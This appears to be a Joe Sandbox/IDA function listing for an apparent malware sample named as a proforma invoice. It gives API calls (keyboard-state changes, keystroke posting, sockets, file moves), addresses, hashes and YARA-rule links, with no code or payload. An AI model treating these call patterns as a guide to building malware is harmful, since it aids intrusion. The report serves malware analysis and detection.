Opcode ID: 353b4c5547c61892cc1a01d10b6c535a4bb7e1b16fc27a36de4cf509698dd9a9
Instruction ID: 5f6f96bfcd7d6069d0eb18a9ce637b0d3b0b6833741ad906bd86fa18f3ab97f4
Opcode Fuzzy Hash: 353b4c5547c61892cc1a01d10b6c535a4bb7e1b16fc27a36de4cf509698dd9a9
Instruction Fuzzy Hash: E451E2A0A047D13DFB3662348845BBFBEA99B06304F088D8BE2D5555C2D3DCA8D4D799

Function 0048ACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 0048AD19
GetKeyboardState.USER32(?), ref: 0048AD2E
SetKeyboardState.USER32(?), ref: 0048AD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 0048ADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 0048ADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 0048AE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 0048AE38

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 2c9818f71344e0ccc1137b930d208bdf21072f8fe437fe64a2b9bb71dc7a03af
Instruction ID: b7a618a5c98ef17c9a5c98377eac78a5a7f1dc95f86938f7a933deecec05cbcf
Opcode Fuzzy Hash: 2c9818f71344e0ccc1137b930d208bdf21072f8fe437fe64a2b9bb71dc7a03af
Instruction Fuzzy Hash: 7651E3A05447D13DFB32A2248C85B7FBED95B05301F088D8BE1D5869C2C3D8ACA8D75A

Function 0045542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00463CD6,?,?,?,?,?,?,?,?,00455BA3,?,?,00463CD6,?,?), ref: 00455470
__fassign.LIBCMT ref: 004554EB
__fassign.LIBCMT ref: 00455506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00463CD6,00000005,00000000,00000000), ref: 0045552C
WriteFile.KERNEL32(?,00463CD6,00000000,00455BA3,00000000,?,?,?,?,?,?,?,?,?,00455BA3,?), ref: 0045554B
WriteFile.KERNEL32(?,?,00000001,00455BA3,00000000,?,?,?,?,?,?,?,?,?,00455BA3,?), ref: 00455584

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 9e8a69dd4787431b915cabe45a6e977eaa48928a237a9770a7e6f6e4d3d434a7
Instruction ID: 7857c19f1e9ab352ca2ac924b2e0c20065e7a1ded79c89eca5170c348a9c590b
Opcode Fuzzy Hash: 9e8a69dd4787431b915cabe45a6e977eaa48928a237a9770a7e6f6e4d3d434a7
Instruction Fuzzy Hash: 8251E8B0900649AFDB10CFA8D891AFEBBF5EF09301F14412BF955E7292E7349A45CB64

Function 004A10B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 004A304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 004A307A
Part of subcall function 004A304E: _wcslen.LIBCMT ref: 004A309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 004A1112
WSAGetLastError.WSOCK32 ref: 004A1121
WSAGetLastError.WSOCK32 ref: 004A11C9
closesocket.WSOCK32(00000000), ref: 004A11F9

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: 3741b5adc8bb47ded1506396d380caf5450d009170dbc5f82c670e6cbfc79893
Instruction ID: fc188b51260ba0a8c38eefb33624ec9d2db336a970aa17ed96534c70c903cba8
Opcode Fuzzy Hash: 3741b5adc8bb47ded1506396d380caf5450d009170dbc5f82c670e6cbfc79893
Instruction Fuzzy Hash: 32412931200114AFDB109F14C8C4BAAB7E9EF5A358F14815AFD059B391D778ED41CBE9

Function 0048CF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0048DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0048CF22,?), ref: 0048DDFD

Part of subcall function 0048DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0048CF22,?), ref: 0048DE16

lstrcmpiW.KERNEL32(?,?), ref: 0048CF45
MoveFileW.KERNEL32(?,?), ref: 0048CF7F
_wcslen.LIBCMT ref: 0048D005
_wcslen.LIBCMT ref: 0048D01B
SHFileOperationW.SHELL32(?), ref: 0048D061

Strings

\*.*, xrefs: 0048CFF3

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: db2b4ac8d67a9a89fcab2528b67af850df6135090cc7672e3d2544b6163ead7e
Instruction ID: 6384eaf3ca9ca5c9d8ea3072bd62a16a53c4306d7454dcce828da671608179bb
Opcode Fuzzy Hash: db2b4ac8d67a9a89fcab2528b67af850df6135090cc7672e3d2544b6163ead7e
Instruction Fuzzy Hash: 42414471D052185FDF12FBA5D9C1ADE77B8AF04384F1004EBA605EB141EB38AA85CB58

Function 004B2DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 004B2E1C
GetWindowLongW.USER32(00000000,000000F0), ref: 004B2E4F
GetWindowLongW.USER32(00000000,000000F0), ref: 004B2E84
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 004B2EB6
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 004B2EE0
GetWindowLongW.USER32(00000000,000000F0), ref: 004B2EF1
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 004B2F0B

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: a04485f467e6f40779985848d69ac8c8b75b0c6352e861a65ecd16f8a7318bff
Instruction ID: 7d879b14d72dd1b7cfb8b19e780b0303e7810c265dcf4c0a8b5384e7aa31c4ae
Opcode Fuzzy Hash: a04485f467e6f40779985848d69ac8c8b75b0c6352e861a65ecd16f8a7318bff
Instruction Fuzzy Hash: 5C31F230604250AFDB218F59DDC4FA637E5EBAA710F150166F9048B2B1CBB5E850DB69

Function 00487726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00487769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0048778F
SysAllocString.OLEAUT32(00000000), ref: 00487792
SysAllocString.OLEAUT32(?), ref: 004877B0
SysFreeString.OLEAUT32(?), ref: 004877B9
StringFromGUID2.OLE32(?,?,00000028), ref: 004877DE
SysAllocString.OLEAUT32(?), ref: 004877EC

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 157aa857c419c7abbe7637a0a4e56cd80b47db79ae0a4879c3f65afb68566311
Instruction ID: e165aaae60e89b09778bb666a4000c1f468bf3329cd5f08815febd8778a10a16
Opcode Fuzzy Hash: 157aa857c419c7abbe7637a0a4e56cd80b47db79ae0a4879c3f65afb68566311
Instruction Fuzzy Hash: 7E21A176604219AFDB10EFA8CC88CBF77ACEB09764B148536B914DB250D674ED41CB68

Function 004877FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00487842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00487868
SysAllocString.OLEAUT32(00000000), ref: 0048786B
SysAllocString.OLEAUT32 ref: 0048788C
SysFreeString.OLEAUT32 ref: 00487895
StringFromGUID2.OLE32(?,?,00000028), ref: 004878AF
SysAllocString.OLEAUT32(?), ref: 004878BD

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 9562e5c483a6e2a3ed62e7f0faf8f659452d4d8f41213abba2629f1e87756fc7
Instruction ID: 5c37bfb3c0aa21ed01384b14e79359dee0b98b2736d20ef5c9fe5b4f5e0a550e
Opcode Fuzzy Hash: 9562e5c483a6e2a3ed62e7f0faf8f659452d4d8f41213abba2629f1e87756fc7
Instruction Fuzzy Hash: D4218131608104AF9B10BBA8DCD8DAB77ACEB083607208536B915CB2A1DA74DC45CB68

Function 004904D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 004904F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 0049052E

Strings

nul, xrefs: 00490567

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 59fa1aa536f28aba27fd3fd65d7e1a15bf44ad6a1777931dc950058d3aff0edf
Instruction ID: ef9868e18a876d0f9b68340b4e915a7ae302d954e49aadef16c7fdefad09a77e
Opcode Fuzzy Hash: 59fa1aa536f28aba27fd3fd65d7e1a15bf44ad6a1777931dc950058d3aff0edf
Instruction Fuzzy Hash: 45216075500305AFDF209F29DC44A9A7BB8AF44774F614A3AF8A1D62E0D774D940CF28

Function 004905A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 004905C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00490601

Strings

nul, xrefs: 00490639

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 66b28b1e7b7a336c309193bd51ece1aa954d7ea096c5a1f863ccb65364181d9d
Instruction ID: b3e0fa8d79786bc98b47d794294ab0c54523cf83d0122e44d48857516d8f5ad5
Opcode Fuzzy Hash: 66b28b1e7b7a336c309193bd51ece1aa954d7ea096c5a1f863ccb65364181d9d
Instruction Fuzzy Hash: CC214175500305AFDF209F699C44A5A7BE8AF95724F200B3AE8A1E72D0D7749D61CB28

Function 004B40AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0042600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0042604C
Part of subcall function 0042600E: GetStockObject.GDI32(00000011), ref: 00426060
Part of subcall function 0042600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 0042606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 004B4112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 004B411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 004B412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 004B4139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 004B4145

Strings

Msctls_Progress32, xrefs: 004B40E3

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 2f8a4387596836db87d39fc656b16d4f678fea8cf1198189dc8b6c098d2f06b5
Instruction ID: 9bd20f14e30e053c0eb208ca3883fec397afd26c4a207c52fb60da249d928866
Opcode Fuzzy Hash: 2f8a4387596836db87d39fc656b16d4f678fea8cf1198189dc8b6c098d2f06b5
Instruction Fuzzy Hash: 6411B2B2150219BEEF119F65CC85EE77F5DEF18798F014111BA18A2150C7769C21DBB8

Function 0045D7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045D7A3: _free.LIBCMT ref: 0045D7CC

_free.LIBCMT ref: 0045D82D

Part of subcall function 004529C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0045D7D1,00000000,00000000,00000000,00000000,?,0045D7F8,00000000,00000007,00000000,?,0045DBF5,00000000), ref: 004529DE
Part of subcall function 004529C8: GetLastError.KERNEL32(00000000,?,0045D7D1,00000000,00000000,00000000,00000000,?,0045D7F8,00000000,00000007,00000000,?,0045DBF5,00000000,00000000), ref: 004529F0

_free.LIBCMT ref: 0045D838
_free.LIBCMT ref: 0045D843
_free.LIBCMT ref: 0045D897
_free.LIBCMT ref: 0045D8A2
_free.LIBCMT ref: 0045D8AD
_free.LIBCMT ref: 0045D8B8

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: 7ebe28a4b932df604b2a01c0e88d73bd6913986368dff43e5c020669f9e2aea6
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: FA1172B1940704ABD531BFB2CC07FCB7BDCAF05706F40081FBA99A6593D668B5094654

Function 0048DA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 0048DA74
LoadStringW.USER32(00000000), ref: 0048DA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0048DA91
LoadStringW.USER32(00000000), ref: 0048DA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0048DADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 0048DAB9

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: e74618ff28edf0ad9e8d318caa3e5aef9ac54d9f8af3514a1cacfd054bab3e55
Instruction ID: 8394a59882f0aec3ed402bef922e7f39affd9d41ebd827bd3191f98361928728
Opcode Fuzzy Hash: e74618ff28edf0ad9e8d318caa3e5aef9ac54d9f8af3514a1cacfd054bab3e55
Instruction Fuzzy Hash: 15018BF29002087FE711A7A49DC9EFB376CE708301F444966B705E2041E6749D844F7C

Function 0049096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(0179E2D8,0179E2D8), ref: 0049097B
EnterCriticalSection.KERNEL32(0179E2B8,00000000), ref: 0049098D
TerminateThread.KERNEL32(00000007,000001F6), ref: 0049099B
WaitForSingleObject.KERNEL32(00000007,000003E8), ref: 004909A9
CloseHandle.KERNEL32(00000007), ref: 004909B8
InterlockedExchange.KERNEL32(0179E2D8,000001F6), ref: 004909C8
LeaveCriticalSection.KERNEL32(0179E2B8), ref: 004909CF

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 263ad72b44c6f5e2cdebd56c776ce216e01e2eb32a3df0d7edbf50ba13c4061f
Instruction ID: 39bbb044e70190a3077d21fc97cb3f7e94cd35b26a462ed050e6a45f9ce8176b
Opcode Fuzzy Hash: 263ad72b44c6f5e2cdebd56c776ce216e01e2eb32a3df0d7edbf50ba13c4061f
Instruction Fuzzy Hash: D3F01D71442512ABDB455F94EEC8AD67A25BF01702F402136F101508A0C7749865CF98

Function 004A1C60 Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 004A1DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 004A1DE1
WSAGetLastError.WSOCK32 ref: 004A1DF2
htons.WSOCK32(?,?,?,?,?), ref: 004A1EDB
inet_ntoa.WSOCK32(?), ref: 004A1E8C

Part of subcall function 004839E8: _strlen.LIBCMT ref: 004839F2

Part of subcall function 004A3224: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,0049EC0C), ref: 004A3240

_strlen.LIBCMT ref: 004A1F35

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
String ID:
API String ID: 3203458085-0
Opcode ID: 0454efe49713663948dcade7f7d566103139aaa4e962d5698d679647fff1ebb0
Instruction ID: 8ee84f1193e7e779f757c6a0412f236332ca8e7f27b8f97d43083de16caee85c
Opcode Fuzzy Hash: 0454efe49713663948dcade7f7d566103139aaa4e962d5698d679647fff1ebb0
Instruction Fuzzy Hash: 8FB1EF30204340AFC324EF25C885E2A7BA5AF95318F94895EF4565B3E2CB39ED42CB95

Function 004501B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 004500BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004500D6
__allrem.LIBCMT ref: 004500ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0045010B
__allrem.LIBCMT ref: 00450122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00450140

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction ID: dc5ed7609d7154a7c934bbac290a4fb3292000be86ed376792d00c3b1cee6279
Opcode Fuzzy Hash: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction Fuzzy Hash: 55810776A00B069BE7209E29CC41B6B73E8AF41729F24413FF851D77C2E779D9088799

Function 004561FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,004482D9,004482D9,?,?,?,0045644F,00000001,00000001,8BE85006), ref: 00456258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0045644F,00000001,00000001,8BE85006,?,?,?), ref: 004562DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 004563D8
